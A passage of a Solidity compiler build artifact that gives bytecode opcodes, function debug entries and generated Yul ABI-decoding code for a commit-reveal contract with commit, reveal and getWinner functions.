0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH0 REVERT JUMPDEST PUSH1 0xFF DUP3 DUP2 AND DUP3 DUP3 AND SUB SWAP1 DUP2 GT ISZERO PUSH2 0x42D JUMPI PUSH2 0x42D PUSH2 0x400 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0xFF DUP2 DUP2 AND DUP4 DUP3 AND ADD SWAP1 DUP2 GT ISZERO PUSH2 0x42D JUMPI PUSH2 0x42D PUSH2 0x400 JUMP JUMPDEST PUSH0 PUSH1 0xFF DUP4 AND DUP1 PUSH2 0x46A JUMPI PUSH4 0x4E487B71 PUSH1 0xE0 SHL PUSH0 MSTORE PUSH1 0x12 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH0 REVERT JUMPDEST DUP1 PUSH1 0xFF DUP5 AND MOD SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 MSTORE8 0xBA DUP10 0x49 0xD6 0xDD NUMBER 0xCE LOG2 SELFDESTRUCT BYTE 0x4C SWAP3 0xB6 0xCA LOG1 0xBC 0x25 0x49 SAR 0xEB 0x49 SWAP7 CALLCODE PUSH19 0x4067B5D43C41C164736F6C6343000814003300 ", | |
"sourceMap": "61:1208:0:-:0;;;;;;;;;;;;;;;;;;;" | |
}, | |
"deployedBytecode": { | |
"functionDebugData": { | |
"@commit_52": { | |
"entryPoint": 632, | |
"id": 52, | |
"parameterSlots": 1, | |
"returnSlots": 0 | |
}, | |
"@getWinner_153": { | |
"entryPoint": 433, | |
"id": 153, | |
"parameterSlots": 0, | |
"returnSlots": 1 | |
}, | |
"@reveal_121": { | |
"entryPoint": 143, | |
"id": 121, | |
"parameterSlots": 1, | |
"returnSlots": 0 | |
}, | |
"abi_decode_tuple_t_bytes32": { | |
"entryPoint": 981, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_decode_tuple_t_string_memory_ptr": { | |
"entryPoint": 810, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_encode_tuple_t_address__to_t_address__fromStack_reversed": { | |
"entryPoint": null, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_encode_tuple_t_stringliteral_4663ed46cb95ba1a4c6de4c7c6a9f4fd6d1af089abbbd7e8412ffa7476232cc8__to_t_string_memory_ptr__fromStack_reversed": { | |
"entryPoint": null, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"abi_encode_tuple_t_stringliteral_8eaa9394c27e4ec662f0f32a14e75556efb02e62dbbf020da333cae30131f9df__to_t_string_memory_ptr__fromStack_reversed": { | |
"entryPoint": null, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"abi_encode_tuple_t_stringliteral_ce7e68b41a8bf5be88fd99439b8ef7d26690d6f6eea94ca59f42f2e311ff90e4__to_t_string_memory_ptr__fromStack_reversed": { | |
"entryPoint": null, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"checked_add_t_uint8": { | |
"entryPoint": 1075, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"checked_sub_t_uint8": { | |
"entryPoint": 1044, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"mod_t_uint8": { | |
"entryPoint": 1100, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"panic_error_0x11": { | |
"entryPoint": 1024, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"panic_error_0x32": { | |
"entryPoint": 1004, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"panic_error_0x41": { | |
"entryPoint": 790, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
} | |
}, | |
"generatedSources": [ | |
{ | |
"ast": { | |
"nodeType": "YulBlock", | |
"src": "0:3512:1", | |
"statements": [ | |
{ | |
"nodeType": "YulBlock", | |
"src": "6:3:1", | |
"statements": [] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "46:95:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "63:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "70:3:1", | |
"type": "", | |
"value": "224" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "75:10:1", | |
"type": "", | |
"value": "0x4e487b71" | |
} | |
], | |
"functionName": { | |
"name": "shl", | |
"nodeType": "YulIdentifier", | |
"src": "66:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "66:20:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "56:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "56:31:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "56:31:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "103:1:1", | |
"type": "", | |
"value": "4" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "106:4:1", | |
"type": "", | |
"value": "0x41" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "96:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "96:15:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "96:15:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "127:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "130:4:1", | |
"type": "", | |
"value": "0x24" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "120:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "120:15:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "120:15:1" | |
} | |
] | |
}, | |
"name": "panic_error_0x41", | |
"nodeType": "YulFunctionDefinition", | |
"src": "14:127:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "226:842:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "272:16:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "281:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "284:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "274:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "274:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "274:12:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "247:7:1" | |
}, | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "256:9:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "243:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "243:23:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "268:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "239:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "239:32:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "236:52:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "297:37:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "324:9:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "311:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "311:23:1" | |
}, | |
"variables": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "301:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "343:28:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "353:18:1", | |
"type": "", | |
"value": "0xffffffffffffffff" | |
}, | |
"variables": [ | |
{ | |
"name": "_1", | |
"nodeType": "YulTypedName", | |
"src": "347:2:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "398:16:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "407:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "410:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "400:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "400:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "400:12:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "386:6:1" | |
}, | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "394:2:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "383:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "383:14:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "380:34:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "423:32:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "437:9:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "448:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "433:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "433:22:1" | |
}, | |
"variables": [ | |
{ | |
"name": "_2", | |
"nodeType": "YulTypedName", | |
"src": "427:2:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "503:16:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "512:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "515:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "505:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "505:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "505:12:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "_2", | |
"nodeType": "YulIdentifier", | |
"src": "482:2:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "486:4:1", | |
"type": "", | |
"value": "0x1f" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "478:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "478:13:1" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "493:7:1" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "474:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "474:27:1" | |
} | |
], | |
"functionName": { | |
"name": "iszero", | |
"nodeType": "YulIdentifier", | |
"src": "467:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "467:35:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "464:55:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "528:26:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "_2", | |
"nodeType": "YulIdentifier", | |
"src": "551:2:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "538:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "538:16:1" | |
}, | |
"variables": [ | |
{ | |
"name": "_3", | |
"nodeType": "YulTypedName", | |
"src": "532:2:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "577:22:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "panic_error_0x41", | |
"nodeType": "YulIdentifier", | |
"src": "579:16:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "579:18:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "579:18:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "_3", | |
"nodeType": "YulIdentifier", | |
"src": "569:2:1" | |
}, | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "573:2:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "566:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "566:10:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "563:36:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "608:17:1", | |
"value": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "622:2:1", | |
"type": "", | |
"value": "31" | |
} | |
], | |
"functionName": { | |
"name": "not", | |
"nodeType": "YulIdentifier", | |
"src": "618:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "618:7:1" | |
}, | |
"variables": [ | |
{ | |
"name": "_4", | |
"nodeType": "YulTypedName", | |
"src": "612:2:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "634:23:1", | |
"value": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "654:2:1", | |
"type": "", | |
"value": "64" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "648:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "648:9:1" | |
}, | |
"variables": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulTypedName", | |
"src": "638:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "666:71:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "688:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "_3", | |
"nodeType": "YulIdentifier", | |
"src": "712:2:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "716:4:1", | |
"type": "", | |
"value": "0x1f" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "708:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "708:13:1" | |
}, | |
{ | |
"name": "_4", | |
"nodeType": "YulIdentifier", | |
"src": "723:2:1" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "704:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "704:22:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "728:2:1", | |
"type": "", | |
"value": "63" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "700:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "700:31:1" | |
}, | |
{ | |
"name": "_4", | |
"nodeType": "YulIdentifier", | |
"src": "733:2:1" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "696:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "696:40:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "684:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "684:53:1" | |
}, | |
"variables": [ | |
{ | |
"name": "newFreePtr", | |
"nodeType": "YulTypedName", | |
"src": "670:10:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "796:22:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "panic_error_0x41", | |
"nodeType": "YulIdentifier", | |
"src": "798:16:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "798:18:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "798:18:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "newFreePtr", | |
"nodeType": "YulIdentifier", | |
"src": "755:10:1" | |
}, | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "767:2:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "752:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "752:18:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "newFreePtr", | |
"nodeType": "YulIdentifier", | |
"src": "775:10:1" | |
}, | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "787:6:1" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "772:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "772:22:1" | |
} | |
], | |
"functionName": { | |
"name": "or", | |
"nodeType": "YulIdentifier", | |
"src": "749:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "749:46:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "746:72:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "834:2:1", | |
"type": "", | |
"value": "64" | |
}, | |
{ | |
"name": "newFreePtr", | |
"nodeType": "YulIdentifier", | |
"src": "838:10:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "827:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "827:22:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "827:22:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "865:6:1" | |
}, | |
{ | |
"name": "_3", | |
"nodeType": "YulIdentifier", | |
"src": "873:2:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "858:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "858:18:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "858:18:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "922:16:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "931:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "934:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "924:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "924:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "924:12:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "_2", | |
"nodeType": "YulIdentifier", | |
"src": "899:2:1" | |
}, | |
{ | |
"name": "_3", | |
"nodeType": "YulIdentifier", | |
"src": "903:2:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "895:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "895:11:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "908:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "891:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "891:20:1" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "913:7:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "888:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "888:33:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "885:53:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "964:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "972:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "960:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "960:15:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "_2", | |
"nodeType": "YulIdentifier", | |
"src": "981:2:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "985:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "977:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "977:11:1" | |
}, | |
{ | |
"name": "_3", | |
"nodeType": "YulIdentifier", | |
"src": "990:2:1" | |
} | |
], | |
"functionName": { | |
"name": "calldatacopy", | |
"nodeType": "YulIdentifier", | |
"src": "947:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "947:46:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "947:46:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "1017:6:1" | |
}, | |
{ | |
"name": "_3", | |
"nodeType": "YulIdentifier", | |
"src": "1025:2:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1013:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1013:15:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1030:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1009:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1009:24:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1035:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "1002:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1002:35:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1002:35:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1046:16:1", | |
"value": { | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "1056:6:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "1046:6:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_decode_tuple_t_string_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "192:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulTypedName", | |
"src": "203:7:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "215:6:1", | |
"type": "" | |
} | |
], | |
"src": "146:922:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1174:102:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1184:26:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "1196:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1207:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1192:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1192:18:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "1184:4:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "1226:9:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "1241:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1257:3:1", | |
"type": "", | |
"value": "160" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1262:1:1", | |
"type": "", | |
"value": "1" | |
} | |
], | |
"functionName": { | |
"name": "shl", | |
"nodeType": "YulIdentifier", | |
"src": "1253:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1253:11:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1266:1:1", | |
"type": "", | |
"value": "1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "1249:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1249:19:1" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "1237:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1237:32:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "1219:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1219:51:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1219:51:1" | |
} | |
] | |
}, | |
"name": "abi_encode_tuple_t_address__to_t_address__fromStack_reversed", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "1143:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "1154:6:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulTypedName", | |
"src": "1165:4:1", | |
"type": "" | |
} | |
], | |
"src": "1073:203:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1351:110:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "1397:16:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1406:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1409:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "1399:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1399:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "1399:12:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "1372:7:1" | |
}, | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "1381:9:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "1368:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1368:23:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1393:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
